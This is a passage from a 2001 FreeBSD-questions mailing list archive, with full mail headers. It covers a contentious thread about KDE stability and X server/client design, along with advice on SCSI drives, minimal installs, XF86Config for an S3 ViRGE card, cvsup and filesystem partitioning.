with which UNIX > users (or newbies, at least) rush to install GUI environments on > their machines. There's a difference between looking like Microsoft and running a GUI. > Maybe I should take a poll: How many FreeBSD users here are > satisfied with just the standard command-line interface and > interactions through terminal-style remote programs like telnet or > ssh? I'll raise my hand, but I daresay that I won't see too many > other hands going up. Wrong question. "How many FreeBSD users need Microsoft applications to get their work done?". >> I for one would never have installed FreeBSD on my computers 5 or 6 >> years ago if it had looked like windows. > > I installed FreeBSD specifically with the intent of leaving it in > its native state. It's a server, not a desktop. If I want to throw > away vast amounts of horsepower putting drop shadows and sparkly > highlights on screen icons, I'll do it on my Windows desktop system This seems to contradict what you've said above. > (heck, do I have a choice?). Of course you do. >> What were you disappointed by? > > The raggedness and instability of the windows environments. KDE2 > was all flash and no substance. Pretty icons and graphics, > obviously influenced by Redmond, but with none of the stability of a > real Windows system. For example, the task bar would get stuck, > with only the background painted, or icons would freeze on the > screen, or all sorts of other weird anomalies. It just had a junky > feel to it. Why are you blaming FreeBSD for KDE? > Long ago, I saw a very simple windowed desktop on DEC UNIX systems, > if I remember correctly. Can anyone tell me what sort of > environment that was? Could have been twm. > I don't need something fancy, just something that will let me run > programs that require an X environment. I don't care if I hear > lovely chimes when I double-click on icons, and I don't need to have > a menu of 3,245 desktop themes to choose from. Try fvwm2. >> What exactly do you want to know how to do, I didn't read your >> original post, but I'll read your response to this mail, I'm sure I >> can help you with most of your problems; as I still remember the >> problems I had when I made the switch (And never went back) > > I've asked a number of questions, and often I either got no answer > at all, or vague or incomplete answers. Or ones you've ignored. > The problem of a mysterious reboot during the night is one of them: > My system rebooted abruptly sometime during the night, on one single > occasion, which has not been repeated. There seems to be no > evidence of what happened; I asked here if there was any place where > I could look for clues, but didn't get much of an answer. The > system was running setiathome, and a cron job was executing (I know > this from the last screen output by top on a remote terminal before > the system went down). Nothing else. The system has been in the > same state on many other occasions, but no reboots have occurred. Well, I sent you a reply with many details and recommendations. What did you do about it? In the time this thread has been going on, I heard from somebody else complaining about the same problems. I pointed him to the same information. He tried it, it worked. On Tuesday, 20 November 2001 at 23:56:34 +0100, Anthony Atkielski wrote: > Ceri writes: > >> That's not the situation you described though, is it? > > It's exactly the situation I described. > >> You said : >> `` I would not run any X server on a large system >> with many users connected; let the users gobble >> resources on their own workstations, not on the >> central system.'' >> >> If, however, you are running the X server on the >> same machine, then the server and workstation are >> one and the same. > > Yes, and if there are other users connected to the machine, then the situation I > described obtains. > >> However, I think you are failing to realise that the X server and >> the workstation are always one and the same. > > But the workstation and the server (the server being the UNIX system running the > clients) are not. I meant server in the sense of the central system serving > many users. > >> Each user runs their own X server. > > If the user is running the X server on the console of his FreeBSD > system, then everything is running on a single machine. This > appears to be the way many people do it, from what I've read here. > And so a multiuser timesharing system is essentially being used as a > simple desktop. That depends on how you use the machine. If you want a "simple desktop", what else would you use? My machines also run a number of servers as well. I don't know what you're trying to say here, but it appears to be an attempt to divert attention from an obvious contradiction. > Kind of like using MVS as an adding machine. I can't see any similarity. >> I'll say it again, in case you still don't get it : The X server >> runs on the workstation. > > But the workstation and the UNIX server are usually one and the > same, in the configurations being discussed here. If you are > running KDE, typically it is running on the console of the same > machine that runs the X clients, as I understand it. There are significant differences. As I say, I have five, sometimes six screens connected to one pair of input devices. They're spread across two, maybe three machines, but the clients are running on many more, currently about fourteen machines. > So everything is running on one machine ... just like a desktop. I still don't know what you're trying to say or prove with this statement. > I supposed you could split things over two machines, but is anyone > really doing that? Yes, as I said. But even for those who don't, the flexibility is important. It means that if they want to do so, they can. > To run a GUI, you need intimate communication with the hardware. Understand that a real operating system is not one big monolithic blob from the interrupt handlers up to the widgets. It's modular. Looking from this viewpoint, your statement doesn't really say anything useful. >> As in, each user runs their own X server on their own workstation, >> the machine that all the users they are logged into doesn't run an >> X server at all, it runs X clients. > > These two machines may be one and the same. This is a feature, not a bug. On Tuesday, 20 November 2001 at 12:22:37 +0100, Anthony Atkielski wrote: > Kris writes: > >> This is a tautological statement ("code which needs to do more >> complicated things is more complicated and larger"). > > It is indeed, and yet many people still manage to ignore the reality > of it. There is a (religious) belief among many that their > preferred OS will somehow be able to maintain a complex GUI > environment without any of the complexity of code or potential > instability that goes with it. Obviously, this cannot be, and yet > they continue to believe it. You'll always find people like that. If you are implying that it applies to the majority (or even a large minority) of FreeBSD users, you're wrong. >> This is an overgeneralization; under FreeBSD it's very rare for a >> window manager bug to "take out the OS". Even if the X server >> crashes the system still runs. > > You'd think so. But it worried me tremendously that, while simply > trying to change a font in KDE, the entire system crashed. It > should not be possible for an application like a windows manager to > crash the kernel. Correct. > The fact that this was possible worries me because it casts a shadow > on the security of the kernel--how could a user application manage > to crash the system like that? Well, show us the dump and we'll tell you. And we'll fix it. On Tuesday, 20 November 2001 at 21:41:49 +0100, Anthony Atkielski wrote: > Ken writes: > >> The problem I see is that you really haven't >> tried enough to make such a determination. > > I don't have to. Statistically, there is no reason to suspect > hardware unless and until everything else has been eliminated. > > If someone hits you in the rear end at an intersection, which makes > more sense: (1) tearing down the car in a garage to test the > transmission in careful detail, in order to make sure that the car > wasn't stuck in Drive; or (2) testing the driver for alcohol in his > blood? How does this relate to the case at hand? Here you have been told that crashes during cron jobs are frequently disk related, that your chip set has known issues with the disk controller, and the version of FreeBSD you're running doesn't have a workaround installed. On Tuesday, 20 November 2001 at 23:16:44 +0100, Anthony Atkielski wrote: > Ken writes: > >> Face it, countless people use KDE. You're whining about all these >> bugs, how it's not stable, etc. Yet, all these other people, >> myself included, are just using it. So you couldn't get it to >> work... Hardware fault? Driver bugs? User error? Take your >> pick. > > Okay, what did I do wrong? You didn't try to find the cause of the crash. >> And you wonder why people aren't falling over themselves to help >> you out of their own goodwill. > > Some of them are more worried about trying to defend their religion > with personal attacks. I don't see that. Greg -- See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 16: 5:29 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by hub.freebsd.org (Postfix) with ESMTP id 8E86137B418 for ; Tue, 20 Nov 2001 16:05:24 -0800 (PST) Received: from hades.hell.gr (patr530-a024.otenet.gr [212.205.215.24]) by mailsrv.otenet.gr (8.11.5/8.11.5) with ESMTP id fAL05Jo04839; Wed, 21 Nov 2001 02:05:19 +0200 (EET) Received: (from charon@localhost) by hades.hell.gr (8.11.6/8.11.6) id fAL05Jq52715; Wed, 21 Nov 2001 02:05:19 +0200 (EET) (envelope-from charon@labs.gr) Date: Wed, 21 Nov 2001 02:05:19 +0200 From: Giorgos Keramidas To: Anthony Atkielski Cc: questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011121000519.GA52075@hades.hell.gr> References: <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120023948.A92409@xor.obsecurity.org> <00df01c171b0$2a938be0$0a00000a@atkielski.com> <20011120105642.GA75918@rhadamanth> <012d01c171b6$96b5adc0$0a00000a@atkielski.com> <20011120114236.GA76431@rhadamanth> <005f01c171bf$c4d06b10$0a00000a@atkielski.com> <20011120220325.GF27244@hades.hell.gr> <015d01c1721f$09df3420$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <015d01c1721f$09df3420$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 2001-11-21 00:56:51, Anthony Atkielski wrote: > Giorgos writes: > > The threads that you start and contribute to > > tend to diverge a lot from being `questions' > > and they have a tendency to transform in 'FreeBSD > > vs Windows' flamefests. Please stop this. > > You don't approve of comparisons between FreeBSD and other operating systems? > How can I discuss a new operating system or learn anything about it if I am > forbidden to mention other operating systems with which I am familiar? Comparing OSes is not something that is very easy to do, without having experience on both systems. I'm afraid that I do not have the required experience on Windows to be objective when comparing them to FreeBSD. A lot of the people on the list do not use Windows either. So it's kind of tough to get comparisons right, and be objective :) > > If you want to learn how FreeBSD works, the people > > on this list and the rest of the FreeBSD support > > lists are more than willing to point to the right > > places. > > Don't they have any answers themselves? If all I want is _pointers_ to _other_ > resources, I can just use Google. There must be some gurus somewhere here on > this list. Sometimes, a pointer to look at the Right Place(TM) is worth a lot more than copying existing documentation. Especially considering the fact that copying might introduce errors or irrelevant details. -giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 16: 6:22 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 9F7A937B41B for ; Tue, 20 Nov 2001 16:06:03 -0800 (PST) Received: (qmail 81610 invoked by uid 100); 21 Nov 2001 00:06:17 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15354.61433.632385.776647@guru.mired.org> Date: Tue, 20 Nov 2001 18:06:17 -0600 To: "Toomas Aas" Cc: questions@freebsd.org Subject: Re: Recommended SCSI harddrives In-Reply-To: <38607594@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Toomas Aas types: > On 20 Nov 01 at 1:01 you wrote: > > I have read about some Quantum drives from Storagereview.com, but I have > > never used a Quantum drive of any kind, ever, and remember only bad memories > > of fixing systems with those crappy Bigfoot drives. > > How are Quantum's SCSI drives? > During last 5 years or so, I've had a grand total of 3 SCSI drives > die on me. Two of them were Western Digital, one was Quantum. I > don't think I'll be buying any more Quantum SCSI drives soon. > Especially after Quantum was purchased by Maxtor (one of my least > favourite HD manufacturers). Even more so since Maxtor quit making SCSI drives a while back. > > I was looking at IBM as well, but I have lost trust in them after their > > 75GXP drive, which is roughly as reliable as Windows 95. Are their SCSI > > drives better? > I guess if I had to buy SCSI hard disk today, I'd still choose IBM. > The production processes of IDE and SCSI disks should be distinct > enough so that the SCSI drives don't get "infected" with the > problems of current IDE drives. That's just my guess, though, so > please take it for what it's worth. That's not a good assumption. Many drive manufacturers use the same media for both types of drive, and just attach different electronics to the drives. I recall one manufacturer that even had identical model numbers with an S attached for the SCSI version. IBM may do things differently, or the problems reported may be in the electronics - I'm not familiar with them - so don't take this as a "don't buy IBM" note. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 16: 6:10 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 7CE1137B419 for ; Tue, 20 Nov 2001 16:05:54 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAL05qB15462; Wed, 21 Nov 2001 01:05:52 +0100 (CET) Message-ID: <018901c17220$48e10170$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Alex Obradovic" , References: <007f01c171c1$4be01cd0$0a00000a@atkielski.com> <2696.10.100.98.21.1006260649.squirrel@10.100.3.5> <009001c171c4$e26a71c0$0a00000a@atkielski.com> <20011120141821.D6187@bsd.alexe.org> <011701c17212$8518b010$0a00000a@atkielski.com> <20011120144826.F6187@bsd.alexe.org> <012e01c17217$ef44ead0$0a00000a@atkielski.com> <20011120152631.H6187@bsd.alexe.org> Subject: Re: home pc use Date: Wed, 21 Nov 2001 01:05:41 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Alex writes: > You should be fine. Just run the same command > several times until there are no more kde* entries. It says "no match" now, so I guess it's done. Nothing starting with 'k' is left in the pkg directory. > Ignore the dependency messages you are getting. > After you reinstall KDE everything will be OK. > Since most of the apps keep their config > files in your home directory, all preferences > will be saved. OK. How do I check to see if the kde2 port is up to date, or how can I use cvsup to force it to be up to date? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 16: 7: 7 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 4C23237B405 for ; Tue, 20 Nov 2001 16:07:03 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAL06xs15690; Wed, 21 Nov 2001 01:06:59 +0100 (CET) Message-ID: <018e01c17220$71097650$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Kent Stewart" Cc: "Alex Obradovic" , References: <007f01c171c1$4be01cd0$0a00000a@atkielski.com> <2696.10.100.98.21.1006260649.squirrel@10.100.3.5> <009001c171c4$e26a71c0$0a00000a@atkielski.com> <20011120141821.D6187@bsd.alexe.org> <3BFADB22.7060701@owt.com> <012201c17215$9c8ab420$0a00000a@atkielski.com> <3BFAE625.5080803@owt.com> Subject: Re: home pc use Date: Wed, 21 Nov 2001 01:06:53 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Kent writes: > They have specials. I went something like WordPerfect > > Ventura > PageMaker using competitive upgrades. I never had anything that would qualify for a competitive upgrade. I had to buy it all from scratch. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 16: 8: 5 2001 Delivered-To: freebsd-questions@freebsd.org Received: from pr0n.kutulu.org (pr0n.kutulu.org [151.196.107.157]) by hub.freebsd.org (Postfix) with ESMTP id 6D51737B419 for ; Tue, 20 Nov 2001 16:07:57 -0800 (PST) Received: from cc191573g (kutulu@cc191573-g.longhill1.md.home.com [24.37.104.136]) by pr0n.kutulu.org (8.11.6/8.11.6) with SMTP id fAL08EU46021; Tue, 20 Nov 2001 19:08:14 -0500 (EST) (envelope-from kutulu@kutulu.org) Message-ID: <01ea01c1721f$b885be90$88682518@longhill1.md.home.com> From: "Kutulu" To: "Anthony Atkielski" , "setantae" Cc: References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120061026.A2767@prayforwind.com> <014601c171d2$22ada240$a50410ac@olmct.net> <008a01c171fa$7110be90$0a00000a@atkielski.com> <20011120200746.GA80963@rhadamanth> <00c101c17204$4070bb50$0a00000a@atkielski.com> <20011120224137.GA82211@rhadamanth> <012701c17216$9e31df00$0a00000a@atkielski.com> Subject: Re: home pc use Date: Tue, 20 Nov 2001 19:00:51 -0500 MIME-Version: 1.0 Content-Type: multipart/signed; micalg=SHA1; boundary="----=_NextPart_000_01CC_01C171F5.AC1F6770"; protocol="application/x-pkcs7-signature" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_01CC_01C171F5.AC1F6770 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit From: "Anthony Atkielski" Sent: Tuesday, November 20, 2001 5:56 PM > But the workstation and the UNIX server are usually one and the same, in the > configurations being discussed here. If you are running KDE, typically it is > running on the console of the same machine that runs the X clients, as I > understand it. So everything is running on one machine ... just like a desktop. > > I supposed you could split things over two machines, but is anyone really doing > that? To run a GUI, you need intimate communication with the hardware. Yes. People do it all the time. It's one of the primary benefits, and from what I can tell, one of the main goals of the X Windowing system. The X *server* needs intimate communication with the graphical hardware. The X *clients*, which includes the window manager and applications, need absolutely zero communication with the hardware. They communicate with the X server. This is something that it took me, as a long-time Windows user, a good while to grasp. The only program you MUST run on the workstation, is the X Server. I, personally, run KDE on a machine that's in a different zipcode from the workstation it displays to. It's somewhat slow, but very much possible and very much part of the design of X. While it is probably more common to find a single workstation X Server/X Client confiuration, the X system is designed to allow a single, powerful, central server-level machine run all of the applications, window managers, desktops, etc. and require only an X Server running on the workstations. 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Tue, 20 Nov 2001 16:10:30 -0800 (PST) Received: (qmail 81727 invoked by uid 100); 21 Nov 2001 00:10:44 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15354.61700.505780.540179@guru.mired.org> Date: Tue, 20 Nov 2001 18:10:44 -0600 To: Lowell Gilbert Cc: questions@freebsd.org, paulius@kaktusas.org Subject: Re: installing minimal freebsd In-Reply-To: <15150725@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Lowell Gilbert types: > paulius@kaktusas.org (Paulius Bulotas) writes: > > I'm quite new to FreeBSD, and want to ask, is there any way to install only components which I really need (for example, no sendmail, no named, no kerberos and so on)? > No. If it's in the base system (as the first two of those are), you > can't install without it. There is a good argument that those don't > really need to be in the base system in the first place, but nobody > has done the work to unpeel them from the rest of the base system. You might note that just because it's installed doesn't mean it's going to be run. Of the things you list, sendmail is the only one that's run by default. If you want a real minimal distribution, you might look into the picobsd release. I'm not sure what's involved in creating such, but a search of the web site or archives should turn up something. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 16:12:15 2001 Delivered-To: freebsd-questions@freebsd.org Received: from heorot.1nova.com (heorot.1nova.com [63.105.24.23]) by hub.freebsd.org (Postfix) with ESMTP id 54F5337B418 for ; Tue, 20 Nov 2001 16:12:12 -0800 (PST) Received: by heorot.1nova.com (Postfix, from userid 1000) id 7F39B18F0; Tue, 20 Nov 2001 17:12:08 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by heorot.1nova.com (Postfix) with ESMTP id 7674F18EF; Tue, 20 Nov 2001 17:12:08 -0800 (PST) Date: Tue, 20 Nov 2001 17:12:08 -0800 (PST) From: Rick Hamell To: Don Sutter Cc: Josh Paetzel , FreeBSD Questions Subject: Re: S3 ViRGE in high color mode In-Reply-To: <00bf01c1721f$70034660$13fea8c0@drs> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG It's because 4 megs is not enough to do 1280x1024 AND more then 8 bit... If you pull it down to 1024x768x16bit, it'll probally work. Rick > I wish I could report your suggestion worked but it doesn't. > It doesn't seem to be resolution dependent, rather color > depth dependent. I usually run my monitor at 1280 X 1024. > 8 bit mode runs fine but nothing else. I suspect it's a > driver issue... > > > On Fri, Nov 16, 2001 at 10:57:07PM -0700, Don Sutter > wrote: > > > Has anyone figured out how to get a 4M S3 ViRGE PCI > (86C325) > > > to run at more than 256 colors at 1024 X 768 in KDE > 2.2.1 / > > > XFree86 4.1.0_10 without breaking up every time you move > the > > > mouse? I looked the man page at > > > http://www.xfree86.org/4.1.0/s3virge.4.html over and > there > > > are quite a few combinations to try. Anybody had any > luck > > > yet or am I just too far out on the bleeding edge? > > > > heh, no. :) > > > > Try this in your XF86Config: > > > > Section "Screen" > > Identifiers "Screen0" > > Device "Card0" > > Monitor "Monitor0" > > DefaultDepth 16 > > Subsection "Display" > > Depth 16 > > Modes "1024x768" > > EndSubSection > > EndSection > > > > Section "Device" > > Identifier "Card0" > > Driver "s3virge" > > VendorName "cirrus" > > BoardName "whatever" > > BusID "PCI:0:15:0" #Your entry here might vary > > ChipSet "86c325" > > EndSection > > > > > > See if that works. > > Josh > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 16:13:45 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 7832B37B419 for ; Tue, 20 Nov 2001 16:13:40 -0800 (PST) Received: (qmail 81831 invoked by uid 100); 21 Nov 2001 00:13:54 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15354.61890.659271.217409@guru.mired.org> Date: Tue, 20 Nov 2001 18:13:54 -0600 To: "pingcrisis.com\\Ting Ping\\" Cc: questions@freebsd.org Subject: Re: How to set up SMS & Pager server? In-Reply-To: <92939259@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG pingcrisis.com\\Ting Ping\\ types: > This is a multi-part message in MIME format. Please only send one copy - preferably the plain text one - to freebsd-questions. We really don't need the html copy as well. > May i know how to set up a sms and pager server on my box? Try cd'ing to /usr/ports, and doing "make search key=sms". There are a number of such things in the ports tree. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 16:26:49 2001 Delivered-To: freebsd-questions@freebsd.org Received: from bsd.alexe.org (cc381552-a.slbch1.occa.home.com [24.16.80.251]) by hub.freebsd.org (Postfix) with ESMTP id 185CD37B418 for ; Tue, 20 Nov 2001 16:26:44 -0800 (PST) Received: (from alex@localhost) by bsd.alexe.org (8.11.6/8.11.6) id fAL0Tfk07414 for freebsd-questions@FreeBSD.ORG; Tue, 20 Nov 2001 16:29:41 -0800 (PST) (envelope-from alex) Date: Tue, 20 Nov 2001 16:29:11 -0800 From: Alex Obradovic To: freebsd-questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011120162911.I6187@bsd.alexe.org> References: <007f01c171c1$4be01cd0$0a00000a@atkielski.com> <2696.10.100.98.21.1006260649.squirrel@10.100.3.5> <009001c171c4$e26a71c0$0a00000a@atkielski.com> <20011120141821.D6187@bsd.alexe.org> <011701c17212$8518b010$0a00000a@atkielski.com> <20011120144826.F6187@bsd.alexe.org> <012e01c17217$ef44ead0$0a00000a@atkielski.com> <20011120152631.H6187@bsd.alexe.org> <018901c17220$48e10170$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <018901c17220$48e10170$0a00000a@atkielski.com>; from owner-freebsd-questions@FreeBSD.ORG on Wed, Nov 21, 2001 at 01:05:41AM +0100 X-Editor: Vim http://www.vim.org/ X-Info: http://www.alexe.org X-Operating-System: FreeBSD/4.4-RC (i386) X-Uptime: 4:20PM up 1 day, 5:44, 6 users, load averages: 1.03, 1.02, 1.00 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Install the latest cvsup If you do not have cvsup set up I strongly suggest you take few minutes to set it up as stated here http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/cvsup.html There are some sampe cvsup files here /usr/share/examples/cvsup/. It is imperative that you get this working right since your system health depends on your source tree. If you want I can mail you my cvsupfile, but I just took it from the examples above. Then I would wipe out your entire ports/x11 tree. If you never updated your ports collection, I would delete everything under /ports/ and get everything clean. Then I would run cvsup -g -L 2 stable-supfile This would get me clean version of /ports/* After that, you can go about building KDE. Alex * owner-freebsd-questions@FreeBSD.ORG (owner-freebsd-questions@FreeBSD.ORG) wrote: > Alex writes: > > > You should be fine. Just run the same command > > several times until there are no more kde* entries. > > It says "no match" now, so I guess it's done. Nothing starting with 'k' is left > in the pkg directory. > > > Ignore the dependency messages you are getting. > > After you reinstall KDE everything will be OK. > > Since most of the apps keep their config > > files in your home directory, all preferences > > will be saved. > > OK. How do I check to see if the kde2 port is up to date, or how can I use > cvsup to force it to be up to date? > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 16:31:29 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id C29A537B405 for ; Tue, 20 Nov 2001 16:31:25 -0800 (PST) Received: (qmail 82020 invoked by uid 100); 21 Nov 2001 00:31:40 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15354.62956.134167.912141@guru.mired.org> Date: Tue, 20 Nov 2001 18:31:40 -0600 To: "f.johan.beisser" Cc: questions@freebsd.org, jan@caustic.org Subject: Re: Filesystem Sizes In-Reply-To: <67514056@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG f.johan.beisser types: > On Tue, 20 Nov 2001, Graham Lillico wrote: > i would suggest making a large /usr, and leaving /usr/ports and /usr/src > inside of it. when you're building the world from /usr/src, it drops > everything in to /usr/obj/.. which pretty much renders it useless to > separate it all out on to a separate filesystem. > > what you could do, though, is set up a single partition to handle all the > build and source code. this can (if set up on different disks) improve the > amount of time it takes to do a make world. You want /usr/src on one disk and /usr/obj on another for this. > the next issue, is that /usr/ports stores all the port source code in > /usr/ports/distfies. this alone can make /usr/ports bloat in some slightly > unimaginable ways. Worse yet, the default install unpacks and builds the ports in /usr/ports. > > Also how may filesystem are you limited to per disk? And is vinum a good > > option? > to the best of my knowledge, there is no upper limit on partitions per > disk. BSD provides 8 partitions per device. That's enough for most uses. However, you can DOS slices as well as disks as a device, which means you get at least 32 if you only use primary slices. I believe you can partition extension slices, but I'm not sure how many extensions slices you can put in a primary slice, nor how many of the 4 primary slices can be used for extension slices, so I have no idea what that makes the maximum > i don't care for vinum myself. software RAID isn't going to be as reliable > as hardware. vinum just happens to be better than most versions of > software RAID. Why should software loaded onto a ROM - which is what hardware RAID uses - be more reliable than software not loaded onto a ROM? http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 16:32:49 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 4030F37B418 for ; Tue, 20 Nov 2001 16:32:39 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com 